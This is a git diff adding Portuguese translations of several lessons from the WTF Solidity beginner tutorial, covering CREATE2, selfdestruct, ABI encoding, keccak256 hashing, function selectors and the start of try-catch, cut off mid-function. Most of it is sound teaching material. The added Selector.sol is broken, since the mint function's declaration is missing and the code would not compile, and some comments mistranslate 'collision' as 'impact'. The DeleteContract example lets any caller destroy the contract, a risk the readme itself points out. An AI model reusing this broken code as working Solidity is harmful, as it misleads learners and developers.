getPair[tokenA][tokenB] = pairAddr; + getPair[tokenB][tokenA] = pairAddr; + } +} +``` + +O contrato da fábrica (`PairFactory2`) possui duas variáveis de estado: `getPair`, que mapeia dois endereços de tokens para o endereço do par, e `allPairs`, que armazena os endereços de todos os pares. + +O contrato `PairFactory2` possui apenas uma função `createPair2` que utiliza o `CREATE2` para criar um novo contrato `Pair` com base nos endereços dos dois tokens `tokenA` e `tokenB` fornecidos. O código é simples: + +```solidity +Pair pair = new Pair{salt: salt}(); +``` + +É assim que se cria contratos usando `CREATE2`. E o `salt` é o hash dos dois tokens: + +```solidity +bytes32 salt = keccak256(abi.encodePacked(token0, token1)); +``` + +### Cálculo antecipado do endereço do `Pair` + +```solidity +// calcula antecipadamente o endereço do contrato de par +function calculateAddr(address tokenA, address tokenB) public view returns(address predictedAddress){ + require(tokenA != tokenB, 'IDENTICAL_ADDRESSES'); // evita endereços idênticos + // calcula o salt com os endereços tokenA e tokenB + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // ordena os tokens em ordem crescente + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // método de cálculo de endereço hash() + predictedAddress = address(uint160(uint(keccak256(abi.encodePacked( + bytes1(0xff), + address(this), + salt, + keccak256(type(Pair).creationCode) + ))))); +} +``` + +Criamos uma função `calculateAddr` para calcular antecipadamente o endereço do `Pair` com base nos tokens `tokenA` e `tokenB. Isso nos permite verificar se o endereço calculado antecipadamente é o mesmo do endereço real. + +Você pode implantar o contrato `PairFactory2` e chamar o `createPair2` com os seguintes endereços como argumentos para ver o endereço do par criado e compará-lo com o endereço calculado antecipadamente: + +```text +Endereço do WBNB: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 +Endereço do PEOPLE na rede BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +``` + +### Como validar no Remix + +1. Calcule o endereço do contrato `Pair` com os hashes dos endereços WBNB e PEOPLE. +2. Chame a função `createPair2` da `PairFactory2` passando os endereços WBNB e PEOPLE como parâmetros para obter o endereço do par criado. +3. Compare os endereços dos contratos. + +![create2_remix_test.png](./img/25-1.png) + +## Aplicações práticas do `CREATE2` + +1. Reservar endereços de carteira para novos usuários em exchanges. + +2. `Factory` alimentado por `CREATE2` em projetos como o `Uniswap V2`, onde a criação de pares ocorre na `Factory` por meio da chamada de `CREATE2`. Isso permite que o `Router` calcule o endereço do `pair` diretamente usando `(tokenA, tokenB)`, sem a necessidade de chamar `Factory.getPair(tokenA, tokenB)` em outra chamada de contrato. + +## Conclusão + +Nesta lição, falamos sobre os princípios e utilização do opcode `CREATE2`, e implementamos uma versão simplificada do `Uniswap` utilizando essa funcionalidade, além de calcular antecipadamente os endereços dos pares. O `CREATE2` nos permite determinar o endereço de um contrato antes de implantá-lo, sendo fundamental para alguns projetos de `layer2`. + diff --git a/Languages/pt-br/26_DeleteContract/DeleteContract.sol b/Languages/pt-br/26_DeleteContract/DeleteContract.sol new file mode 100644 index 000000000..57f2ab441 --- /dev/null +++ b/Languages/pt-br/26_DeleteContract/DeleteContract.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +// selfdestruct: Exclui o contrato e força a transferência de qualquer ETH restante no contrato para uma conta especificada. + +contract DeleteContract { + + uint public value = 10; + + constructor() payable {} + + receive() external payable {} + + function deleteContract() external { + // Chamar selfdestruct para destruir o contrato e transferir os ETH restantes para msg.sender + selfdestruct(payable(msg.sender)); + } + + function getBalance() external view returns(uint balance){ + balance = address(this).balance; + } +} diff --git a/Languages/pt-br/26_DeleteContract/img/26-1.png b/Languages/pt-br/26_DeleteContract/img/26-1.png new file mode 100755 index 000000000..5a08bb591 Binary files /dev/null and b/Languages/pt-br/26_DeleteContract/img/26-1.png differ diff --git a/Languages/pt-br/26_DeleteContract/img/26-2.png b/Languages/pt-br/26_DeleteContract/img/26-2.png new file mode 100755 index 000000000..3d572bdc4 Binary files /dev/null and b/Languages/pt-br/26_DeleteContract/img/26-2.png differ diff --git a/Languages/pt-br/26_DeleteContract/readme.md b/Languages/pt-br/26_DeleteContract/readme.md new file mode 100644 index 000000000..e837bcba4 --- /dev/null +++ b/Languages/pt-br/26_DeleteContract/readme.md @@ -0,0 +1,75 @@ +# WTF Introdução Simples à Solidity: 26. Excluindo Contratos + +Eu recentemente tenho revisitado o estudo da Solidity para consolidar alguns detalhes e estou escrevendo uma série chamada "WTF Introdução Simples à Solidity" para iniciantes (programadores mais avançados podem procurar outros tutoriais). Atualizo com 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +## `selfdestruct` + +O comando `selfdestruct` pode ser utilizado para excluir contratos inteligentes e transferir o restante de `ETH` do contrato para um endereço específico. O `selfdestruct` foi originalmente chamado de `suicide` (suicídio), mas devido à sensibilidade do termo, foi renomeado para `selfdestruct`. Na versão [v0.8.18](https://blog.soliditylang.org/2023/02/01/solidity-0.8.18-release-announcement/) do Solidity, a palavra-chave `selfdestruct` foi marcada como "não recomendada", pois em alguns casos pode resultar em semântica de contrato inesperada. No entanto, como ainda não há uma alternativa, por enquanto, apenas um aviso de compilação foi adicionado aos desenvolvedores. Mais informações podem ser encontradas em [EIP-6049](https://eips.ethereum.org/EIPS/eip-6049). + +### Como usar `selfdestruct` + +O uso de `selfdestruct` é bastante simples: + +```solidity +selfdestruct(_addr); +``` + +Onde `_addr` é o endereço que receberá o restante de `ETH` do contrato. O endereço `_addr` não precisa ter funções `receive()` ou `fallback()` para receber `ETH`. + +### Exemplo + +```solidity +contract DeleteContract { + + uint public value = 10; + + constructor() payable {} + + receive() external payable {} + + function deleteContract() external { + // Chamando selfdestruct para destruir o contrato e transferir o ETH restante para msg.sender + selfdestruct(payable(msg.sender)); + } + + function getBalance() external view returns(uint balance){ + balance = address(this).balance; + } +} +``` + +No contrato `DeleteContract`, temos uma variável de estado `public` chamada `value`, duas funções: `getBalance()` para obter o saldo do contrato em `ETH` e `deleteContract()` para autodestruir o contrato e transferir o `ETH` para o iniciador da ação. + +Após implantar o contrato, transferimos 1 `ETH` para o contrato. Neste momento, `getBalance()` retornará 1 `ETH` e o valor `value` será 10. + +Quando chamamos a função `deleteContract()`, o contrato é destruído e qualquer interação com as funções do contrato resultará em erro. + +### Observações + +1. Ao fornecer uma interface para destruir o contrato, é melhor limitar o acesso apenas ao proprietário do contrato, o que pode ser feito com modificadores de função como `onlyOwner`. +2. Após a destruição do contrato, qualquer tentativa de interagir com funções do contrato resultará em erro. +3. O uso frequente da funcionalidade `selfdestruct` em contratos pode gerar problemas de segurança e confiança. A função `selfdestruct` em um contrato abre vetores de ataque para invasores, como transferir tokens repetidamente para um contrato usando `selfdestruct` para economizar muito em taxas de GAS. Embora poucas pessoas façam isso, essa funcionalidade mina a confiança dos usuários no contrato. + +### Verificação no Remix + +1. Implantar o contrato e transferir 1 ETH, verifique o estado do contrato + + ![deployContract.png](./img/26-1.png) +2. Destruir o contrato, verifique o estado do contrato + + ![deleteContract.png](./img/26-2.png) + +Observando o estado do contrato durante o teste, podemos ver que após a exclusão do contrato, o `ETH` é transferido para o endereço especificado. Qualquer tentativa de interagir com o contrato após a exclusão resultará em falha. + +## Conclusão + +`selfdestruct` é o botão de emergência dos contratos inteligentes, permitindo a destruição do contrato e a transferência do `ETH` restante para um endereço específico. Certamente, os fundadores do Ethereum devem ter se arrependido de não ter incluído `selfdestruct` no contrato do `The DAO` para interromper o ataque dos hackers. + diff --git a/Languages/pt-br/27_ABIEncode/ABIEncode.sol b/Languages/pt-br/27_ABIEncode/ABIEncode.sol new file mode 100644 index 000000000..ae92b3429 --- /dev/null +++ b/Languages/pt-br/27_ABIEncode/ABIEncode.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract ABIEncode{ + uint x = 10; + address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; + string name = "0xAA"; + uint[2] array = [5, 6]; + + function encode() public view returns(bytes memory result) { + result = abi.encode(x, addr, name, array); + } + + function encodePacked() public view returns(bytes memory result) { + result = abi.encodePacked(x, addr, name, array); + } + + function encodeWithSignature() public view returns(bytes memory result) { + result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); + } + + function encodeWithSelector() public view returns(bytes memory result) { + result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); + } + function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { + (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); + } +} diff --git a/Languages/pt-br/27_ABIEncode/img/27-1.png b/Languages/pt-br/27_ABIEncode/img/27-1.png new file mode 100644 index 000000000..b269d2f00 Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-1.png differ diff --git a/Languages/pt-br/27_ABIEncode/img/27-2.png b/Languages/pt-br/27_ABIEncode/img/27-2.png new file mode 100644 index 000000000..af183f84e Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-2.png differ diff --git a/Languages/pt-br/27_ABIEncode/img/27-3.png b/Languages/pt-br/27_ABIEncode/img/27-3.png new file mode 100644 index 000000000..688e11dff Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-3.png differ diff --git a/Languages/pt-br/27_ABIEncode/img/27-4.png b/Languages/pt-br/27_ABIEncode/img/27-4.png new file mode 100644 index 000000000..d878b9059 Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-4.png differ diff --git a/Languages/pt-br/27_ABIEncode/img/27-5.png b/Languages/pt-br/27_ABIEncode/img/27-5.png new file mode 100644 index 000000000..81ff80492 Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-5.png differ diff --git a/Languages/pt-br/27_ABIEncode/img/27-6.png b/Languages/pt-br/27_ABIEncode/img/27-6.png new file mode 100644 index 000000000..5b9a95015 Binary files /dev/null and b/Languages/pt-br/27_ABIEncode/img/27-6.png differ diff --git a/Languages/pt-br/27_ABIEncode/readme.md b/Languages/pt-br/27_ABIEncode/readme.md new file mode 100644 index 000000000..6d0cd4134 --- /dev/null +++ b/Languages/pt-br/27_ABIEncode/readme.md @@ -0,0 +1,161 @@ +--- +title: 27. Codificação e Decodificação ABI +tags: + - solidity + - avançado + - wtfacademy + - codificação abi + - decodificação abi +--- + +# WTF Solidity Tutorial Básico: 27. Codificação e Decodificação ABI + +Recentemente, comecei a reestudar Solidity para reforçar os detalhes e também escrever um "Tutorial Básico de Solidity WTF" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações de 1 a 3 vezes por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +`ABI` (Interface Binária de Aplicação) é o padrão para interagir com contratos inteligentes no Ethereum. Os dados são codificados com base em seus tipos; e como a codificação não inclui informações de tipo, a decodificação precisa especificar seus tipos. + +Em `Solidity`, a `codificação ABI` possui 4 funções: `abi.encode`, `abi.encodePacked`, `abi.encodeWithSignature`, `abi.encodeWithSelector`. E a `decodificação ABI` tem 1 função: `abi.decode`, usada para decodificar dados codificados por `abi.encode`. Nesta lição, aprenderemos como usar essas funções. + +## Codificação ABI + +Vamos codificar 4 variáveis, cujos tipos são `uint256` (alias uint), `address`, `string`, `uint256[2]`: + +```solidity +uint x = 10; +address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; +string name = "0xAA"; +uint[2] array = [5, 6]; +``` + +### `abi.encode` + +Codifica os parâmetros dados usando as [regras ABI](https://learnblockchain.cn/docs/solidity/abi-spec.html). O `ABI` é projetado para interagir com contratos inteligentes, preenchendo cada parâmetro com 32 bytes de dados e concatenando-os. Se você estiver interagindo com um contrato, você usará `abi.encode`. + +```solidity +function encode() public view returns(bytes memory result) { + result = abi.encode(x, addr, name, array); +} +``` + +O resultado da codificação é `0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`, porque `abi.encode` preenche cada dado com 32 bytes, resultando em muitos `0`s. + +### `abi.encodePacked` + +Codifica os parâmetros dados de acordo com o espaço mínimo necessário. É semelhante a `abi.encode`, mas omite muitos dos `0`s preenchidos. Por exemplo, usa apenas 1 byte para codificar o tipo `uint8`. Quando você deseja economizar espaço e não está interagindo com contratos, pode usar `abi.encodePacked`, por exemplo, para calcular o `hash` de alguns dados. + +```solidity +function encodePacked() public view returns(bytes memory result) { + result = abi.encodePacked(x, addr, name, array); +} +``` + +O resultado da codificação é `0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`, porque `abi.encodePacked` comprime a codificação, tornando-a muito mais curta do que `abi.encode`. + +### `abi.encodeWithSignature` + +Funciona de forma semelhante a `abi.encode`, mas o primeiro parâmetro é uma `assinatura de função`, como `"foo(uint256,address,string,uint256[2])"`. Pode ser usado ao chamar outros contratos. + +```solidity +function encodeWithSignature() public view returns(bytes memory result) { + result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array); +} +``` + +O resultado da codificação é `0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`, o que é equivalente a adicionar um `seletor de função` de 4 bytes ao resultado da codificação `abi.encode`. + +### `abi.encodeWithSelector` + +Funciona de forma semelhante a `abi.encodeWithSignature`, mas o primeiro parâmetro é um `seletor de função`, que são os primeiros 4 bytes do hash Keccak da `assinatura da função`. + +```solidity +function encodeWithSelector() public view returns(bytes memory result) { + result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array); +} +``` + +O resultado da codificação é `0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`, igual ao resultado de `abi.encodeWithSignature`. + +## Decodificação ABI + +### `abi.decode` + +`abi.decode` é usado para decodificar a codificação binária gerada por `abi.encode`, revertendo-a para os parâmetros originais. + +```solidity +function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) { + (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2])); +} +``` + +Nós fornecemos a codificação binária de `abi.encode` para `decode`, que decodifica os parâmetros originais: + +![27-3](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) + +## Verificação no Remix + +- Implante o contrato para ver o resultado da codificação do método abi.encode + + ![27-1](./img/27-1.png) +- Compare e verifique as diferenças entre os quatro métodos de codificação + + ![27-2](./img/27-2.png) +- Veja o resultado da decodificação do método abi.decode + + ![27-3](./img/27-3.png) + +## Cenários de Uso do ABI + +1. No desenvolvimento de contratos, o ABI é frequentemente usado em conjunto com chamadas para realizar chamadas de baixo nível a contratos. + + ```solidity + bytes4 selector = contract.getValue.selector; + + bytes memory data = abi.encodeWithSelector(selector, _x); + (bool success, bytes memory returnedData) = address(contract).staticcall(data); + require(success); + + return abi.decode(returnedData, (uint256)); + ``` + +2. Em ethers.js, o ABI é comumente usado para importar contratos e realizar chamadas de função. + + ```solidity + const wavePortalContract = new ethers.Contract(contractAddress, contractABI, signer); + /* + * Chame o método getAllWaves do seu Contrato Inteligente + */ + const waves = await wavePortalContract.getAllWaves(); + ``` + +3. Para contratos não abertos ao público, após a descompilação, algumas assinaturas de função podem não ser encontradas, mas podem ser chamadas através do ABI. + - 0x533ba33a() é uma função mostrada após a descompilação, apenas com o resultado codificado da função, e a assinatura da função não pode ser encontrada + + ![27-4](./img/27-4.png) + ![27-5](./img/27-5.png) + + - Nesse caso, não é possível fazer a chamada através da construção de uma interface ou contrato + ![27-6](./img/27-6.png) + + Nesse caso, a chamada pode ser feita através do seletor de função ABI + + ```solidity + bytes memory data = abi.encodeWithSelector(bytes4(0x533ba33a)); + + (bool success, bytes memory returnedData) = address(contract).staticcall(data); + require(success); + + return abi.decode(returnedData, (uint256)); + ``` + +## Conclusão + +No Ethereum, os dados devem ser codificados em bytecode para interagir com contratos inteligentes. Nesta lição, introduzimos 4 métodos de `codificação ABI` e 1 método de `decodificação ABI`. + diff --git a/Languages/pt-br/28_Hash/Hash.sol b/Languages/pt-br/28_Hash/Hash.sol new file mode 100644 index 000000000..db36f9942 --- /dev/null +++ b/Languages/pt-br/28_Hash/Hash.sol @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Hash{ + bytes32 _msg = keccak256(abi.encodePacked("0xAA")); + + // Identificador único de número + function hash( + uint _num, + string memory _string, + address _addr + ) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_num, _string, _addr)); + } + + // Resistência fraca a impactos + function weak( + string memory string1 + )public view returns (bool){ + return keccak256(abi.encodePacked(string1)) == _msg; + } + + // Forte resistência ao impacto + function strong( + string memory string1, + string memory string2 + )public pure returns (bool){ + return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2)); + } +} diff --git a/Languages/pt-br/28_Hash/img/28-1.png b/Languages/pt-br/28_Hash/img/28-1.png new file mode 100644 index 000000000..9c78ad16d Binary files /dev/null and b/Languages/pt-br/28_Hash/img/28-1.png differ diff --git a/Languages/pt-br/28_Hash/img/28-2.png b/Languages/pt-br/28_Hash/img/28-2.png new file mode 100644 index 000000000..ccee0113f Binary files /dev/null and b/Languages/pt-br/28_Hash/img/28-2.png differ diff --git a/Languages/pt-br/28_Hash/readme.md b/Languages/pt-br/28_Hash/readme.md new file mode 100644 index 000000000..8d65a5e96 --- /dev/null +++ b/Languages/pt-br/28_Hash/readme.md @@ -0,0 +1,108 @@ +# WTF Introdução Simples ao Solidity: 28. Hash + +Recentemente, tenho revisado meus conhecimentos em Solidity, consolidando os detalhes e escrevendo uma "Introdução Simples ao Solidity" para iniciantes (os programadores avançados podem procurar outros tutoriais). Atualizo com 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Uma função de hash (hash function) é um conceito criptográfico que pode transformar uma mensagem de comprimento variável em um valor de comprimento fixo, também conhecido como hash. Nesta lição, vamos apresentar brevemente as funções de hash e sua aplicação em Solidity. + +## Propriedades de um Hash + +Uma função de hash de qualidade deve possuir as seguintes características: + +- Unidirecionalidade: é fácil e único determinar o hash de uma mensagem de entrada, mas é difícil reverter o processo. +- Sensibilidade: uma pequena alteração na mensagem de entrada causa uma grande alteração no hash. +- Eficiência: o cálculo do hash a partir da mensagem de entrada deve ser eficiente. +- Uniformidade: a probabilidade de cada valor de hash deve ser praticamente igual. +- Resistência a colisões: + - Resistência fraca a colisões: encontrar outra mensagem x' para a mensagem x, de modo que hash(x) = hash(x'), é difícil. + - Resistência forte a colisões: é difícil encontrar quaisquer x e x' tal que hash(x) = hash(x'). + +## Aplicações de Hash + +- Gerar identificadores únicos de dados +- Assinaturas criptografadas +- Criptografia segura + +## Keccak256 + +A função `Keccak256` é a função de hash mais comum em Solidity e é utilizada da seguinte forma: + +```solidity +hash = keccak256(data); +``` + +### Keccak256 e sha3 + +Existem algumas curiosidades interessantes: + +1. O sha3 foi padronizado a partir do Keccak e, em muitos casos, ambos são sinônimos. No entanto, quando o SHA3 foi finalmente padronizado em agosto de 2015, o NIST ajustou o algoritmo de preenchimento. **Portanto, SHA3 e o resultado do cálculo do Keccak são diferentes**, e isso deve ser levado em consideração durante o desenvolvimento. +2. Quando o Ethereum estava sendo desenvolvido, o sha3 ainda estava em processo de padronização, então o Ethereum e o Solidity usam o Keccak256 para o sha3. Para evitar confusão, é mais claro escrever Keccak256 diretamente no código do contrato. + +### Gerar Identificadores Únicos de Dados + +Podemos usar o `keccak256` para gerar identificadores únicos de dados. Por exemplo, se tivermos diferentes tipos de dados, como `uint`, `string` e `address`, podemos empacotá-los com o método `abi.encodePacked` e usar o `keccak256` para gerar um identificador único: + +```solidity +function hash( + uint _num, + string memory _string, + address _addr + ) public pure returns (bytes32) { + return keccak256(abi.encodePacked(_num, _string, _addr)); +} +``` + +### Resistência Fraca a Colisões + +Vamos usar o `keccak256` para demonstrar a resistência fraca a colisões mencionada anteriormente, ou seja, encontrar outra mensagem x' para a mensagem x de forma que hash(x) = hash(x') seja difícil. + +Dado uma mensagem '0xAA', tentaremos encontrar outra mensagem para que os hashes sejam iguais: + +```solidity +// Resistência fraca a colisões +function weak( + string memory string1 + )public view returns (bool){ + return keccak256(abi.encodePacked(string1)) == _msg; +} +``` + +Você pode tentar várias vezes para ver se consegue ter sorte e encontrar uma colisão. + +### Resistência Forte a Colisões + +Vamos construir uma função `strong` que recebe dois parâmetros `string` diferentes, `string1` e `string2`, e verifica se seus hashes são iguais: + +```solidity +// Resistência forte a colisões +function strong( + string memory string1, + string memory string2 + )public pure returns (bool){ + return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2)); +} +``` + +Novamente, você pode tentar várias vezes para ver se consegue ter sorte e encontrar uma colisão. + +## Verificação no Remix + +- Deploy do contrato para visualizar os resultados dos identificadores gerados + + ![28-1](./img/28-1.png) + +- Verificar a sensibilidade da função de hash, bem como a resistência forte e fraca a colisões + + ![28-2](./img/28-2.png) + +## Conclusão + +Nesta lição, discutimos o que é uma função de hash e como usar a função de hash mais comum em Solidity, o `keccak256`. + diff --git a/Languages/pt-br/29_Selector/Selector.sol b/Languages/pt-br/29_Selector/Selector.sol new file mode 100644 index 000000000..9bb25fea8 --- /dev/null +++ b/Languages/pt-br/29_Selector/Selector.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Selector{ + // evento retorna msg.data + event Log(bytes data); + + // Parâmetro de entrada para: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 + /*para*/ + emit Log(msg.data); + } + + // Output selector + // "mint(address)": 0x6a627842 + function mintSelector() external pure returns(bytes4 mSelector){ + return bytes4(keccak256("mint(address)")); + } + + // Usando o seletor para chamar uma função + function callWithSignature() external returns(bool, bytes memory){ + // Apenas precisamos usar `abi.encodeWithSelector` para empacotar e codificar o `selector` e os argumentos da função `mint`. + (bool success, bytes memory data) = address(this).call(abi.encodeWithSelector(0x6a627842, 0x2c44b726ADF1963cA47Af88B284C06f30380fC78)); + return(success, data); + } +} diff --git a/Languages/pt-br/29_Selector/img/29-1.png b/Languages/pt-br/29_Selector/img/29-1.png new file mode 100644 index 000000000..c9e552eb8 Binary files /dev/null and b/Languages/pt-br/29_Selector/img/29-1.png differ diff --git a/Languages/pt-br/29_Selector/img/29-2.png b/Languages/pt-br/29_Selector/img/29-2.png new file mode 100644 index 000000000..3202f7372 Binary files /dev/null and b/Languages/pt-br/29_Selector/img/29-2.png differ diff --git a/Languages/pt-br/29_Selector/img/29-3.png b/Languages/pt-br/29_Selector/img/29-3.png new file mode 100644 index 000000000..014832282 Binary files /dev/null and b/Languages/pt-br/29_Selector/img/29-3.png differ diff --git a/Languages/pt-br/29_Selector/readme.md b/Languages/pt-br/29_Selector/readme.md new file mode 100644 index 000000000..86be3ce03 --- /dev/null +++ b/Languages/pt-br/29_Selector/readme.md @@ -0,0 +1,92 @@ +# WTF Introdução Simples à Solidity: 29. Seletor de Funções + +Recentemente, tenho revisado meus conhecimentos em Solidity para consolidar alguns detalhes e estou escrevendo uma série chamada "WTF Introdução Simples à Solidity" para ajudar iniciantes (os programadores experientes podem procurar outros tutoriais). Atualizo o conteúdo semanalmente com 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +## Seletor de Funções + +Quando chamamos um contrato inteligente, essencialmente estamos enviando um conjunto de `calldata` para o contrato de destino. Após enviar uma transação no remix, podemos ver os dados `input` na aba de detalhes, que corresponde à `calldata` da transação. + +![tx input in remix](./img/29-1.png) + +Os primeiros 4 bytes dos dados `calldata` são o `seletor` da função. Nesta lição, vamos explicar o que é um `seletor` e como utilizá-lo. + +### msg.data + +`msg.data` é uma variável global em Solidity que contém toda a `calldata` enviada ao chamar uma função. + +No código a seguir, podemos utilizar o evento `Log` para imprimir a `calldata` da chamada da função `mint`: + +```solidity +// evento para retornar msg.data +event Log(bytes data); + +function mint(address to) external { + emit Log(msg.data); +} +``` + +Quando o argumento é `0x2c44b726ADF1963cA47Af88B284C06f30380fC78`, a `calldata` de saída é: + +```text +0x6a6278420000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 +``` + +Esse bytecode confuso pode ser dividido em duas partes: + +```text +Os primeiros 4 bytes são o seletor da função: +0x6a627842 + +Os 32 bytes subsequentes são os parâmetros de entrada: +0x0000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78 +``` + +Basicamente, a `calldata` informa ao contrato inteligente qual função deve ser chamada e quais são os parâmetros. + +### id do método, seletor e assinatura da função + +O `id do método` é definido como os 4 primeiros bytes do `hash Keccak` da `assinatura da função`. Quando o `seletor` corresponde ao `id do método`, significa que a função correspondente será chamada. Mas afinal, qual é a `assinatura da função`? + +Na 21ª lição, brevemente explicamos que a `assinatura da função` é a `"nome da função (tipos de parâmetros separados por vírgulas)"`. Por exemplo, a `assinatura da função mint` no código acima é `"mint(address)"`. Em um mesmo contrato inteligente, diferentes funções têm assinaturas diferentes, o que nos permite determinar qual função deve ser chamada. + +**Nota**: Na assinatura da função, `uint` e `int` devem ser escritos como `uint256` e `int256`. + +Vamos escrever uma função para verificar se o `id do método` da função `mint` é realmente `0x6a627842`. Você pode executar a função abaixo para ver o resultado. + +```solidity +function mintSelector() external pure returns(bytes4 mSelector) { + return bytes4(keccak256("mint(address)")); +} +``` + +O resultado realmente é `0x6a627842`: + +![method id in remix](./img/29-2.png) + +### Utilizando o seletor + +Podemos usar o `seletor` para chamar uma função específica. Por exemplo, se quisermos chamar a função `mint`, basta codificar o `id do método` da função `mint` como seletor, juntamente com os parâmetros, e passar isso para a função `call`: + +```solidity +function callWithSignature() external returns(bool, bytes memory) { + (bool success, bytes memory data) = address(this).call(abi.encodeWithSelector(0x6a627842, 0x2c44b726ADF1963cA47Af88B284C06f30380fC78)); + return (success, data); +} +``` + +Nos logs, podemos ver que a função `mint` foi chamada com sucesso e o evento `Log` foi registrado. + +![logs in remix](./img/29-3.png) + +## Conclusão + +Nesta lição, explicamos o que é um `seletor de função` (`selector`), como ele se relaciona com `msg.data` e a `assinatura da função`, e como utilizá-lo para chamar funções específicas. + diff --git a/Languages/pt-br/30_TryCatch/TryCatch.sol b/Languages/pt-br/30_TryCatch/TryCatch.sol new file mode 100644 index 000000000..b3645f3d7 --- /dev/null +++ b/Languages/pt-br/30_TryCatch/TryCatch.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract OnlyEven{ + constructor(uint a){ + require(a != 0, "invalid number"); + assert(a != 1); + } + + function onlyEven(uint256 b) external pure returns(bool success){ + // Ao inserir um número ímpar, reverta + require(b % 2 == 0, "Ups! Reverting"); + success = true; + } +} + +contract TryCatch { + // Evento de sucesso + event SuccessEvent(); + // Evento de falha + event CatchEvent(string message); + event CatchByte(bytes data); + + // Declarando a variável do contrato OnlyEven + OnlyEven even; + + constructor() { + even = new OnlyEven(2); + } + + // Usando try-catch em chamadas externas + // execute(0) será bem-sucedido e liberará o `SuccessEvent` + // execute(1) falhará e liberará `CatchEvent` + function execute(uint amount) external returns (bool success) { + try 